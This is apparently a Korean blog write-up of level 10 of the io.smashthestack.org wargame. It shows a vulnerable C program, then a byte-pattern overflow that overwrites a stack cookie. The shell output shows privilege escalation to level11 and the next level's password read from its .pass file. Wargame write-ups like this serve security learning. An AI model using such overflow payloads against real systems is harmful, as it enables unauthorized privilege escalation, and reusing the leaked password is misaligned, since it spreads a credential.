io.smashthestack.org – Level 10

Level 10 소스는 아래와 같다.
[code]#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// Contributed by Torch

int limit, c;
int getebp() { asm("movl %ebp, %eax"); }

void f(char s)
{
        int
i;
        char buf[260];

        i = (int )getebp();
        limit =
i – (int)buf + 1;

        for (c = 0; c < limit && s[c] != ‘\0’; c++)
                buf[c] = s[c];
}

int main(int argc, char **argv)
{
        int cookie = 1000;
        if (argc != 2) exit(1);
        f(argv[1]);

        if ( cookie == 0xdefaced ) {
                setresuid(geteuid(), geteuid(), geteuid());
                execlp("/bin/sh", "/bin/sh", "-i", NULL);
        }
        return 0;
}
[/code]
소스를 살펴보면 일단 cookie 변수가 0x0defaced 로 셋팅이 되어야 되는것을 확인할 수 있다.
아마 이것은 f() 함수에서 오버플로우가 나서 될 것으로 보인다. 공격을 해보도록 하자.

[code lang-sh]level10@io:/levels$ ./level10 python -c "print '\xed\xac\xef\x0d'*100"
Segmentation fault
level10@io:/levels$ ./level10 python -c "print '\x0d\xed\xac\xef'*100"   
sh-3.2$ id
uid=1011(level11) gid=1010(level10) groups=1010(level10),1029(nosu)
sh-3.2$ cat /home/level11/.pass
budt0cgd
sh-3.2$
[/code]
생각보다 쉽게 풀렸는데 당연히 주소가 안맞을거라 생각하고 조금씩 위치를 변경해주다 보면 맞아떨어져 쉘이 뜬다.

댓글 남기기

이메일은 공개되지 않습니다. 필수 입력창은 * 로 표시되어 있습니다